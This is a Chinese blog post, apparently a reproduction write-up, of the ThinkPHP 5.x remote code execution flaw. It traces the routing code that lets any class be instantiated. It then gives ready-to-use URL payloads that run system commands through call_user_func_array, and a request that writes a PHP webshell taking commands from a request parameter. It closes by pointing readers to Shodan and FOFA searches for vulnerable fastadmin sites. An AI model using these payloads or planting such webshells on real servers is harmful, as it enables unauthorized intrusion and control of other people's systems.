THINKPHP5 getshell

复现环境

以别人搭建好的5.1.29环境:
https://github.com/vulnspy/thinkphp-5.1.29

代码追踪

index.php

在这里插入图片描述

Container::get(‘app’)

在这里插入图片描述

最终调用invokeReflectMethod(),指定对应类的对应方法,传入对应参数。
在这里插入图片描述

关键

parseModuleAndClass方法中,当$name以反斜线"\"开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

在这里插入图片描述
比如这个paylaod:

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

就表示执行think\appr类(即thinkphp\library\think\app.php)文件的invokefunction方法,而这个方法的声明为:

invokeFunction(function, vars[])

即执行call_user_func_array("system", ['id'])
参考:http://php.net/manual/en/function.call-user-func-array.php
命令行执行结果如下:
在这里插入图片描述
通过web执行结果如下:
在这里插入图片描述
在这里插入图片描述
5.0.20和5.1.29通用payload:

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

写入webshell

找到thinkphp\library\think\template\driver\file.php文件,的write方法,需要传入两个参数:cacheFile, content。即文件名和文件内容,即可执行对应类的对应函数,写入任意内容。

http://192.168.170.148/thinkphp-5.1.29/public/index.php?s=/index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20system($_REQUEST[cmd]);%20?%3E&XDEBUG_SESSION_START=PHPSTORM

在这里插入图片描述
在这里插入图片描述

在shodan或者fofa上搜fastadmin(基于thinkphp5)的框架,可以找到大量shell…

参考:

https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ
https://xz.aliyun.com/t/3570
http://www.vulnspy.com/cn-thinkphp-5.x-rce/thinkphp_5.x_(v5.0.23及v5.1.31以下版本)_远程命令执行漏洞利用(getshell)/
https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650451158&idx=1&sn=ff2e74beefd52d2294271148f2f92a84

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值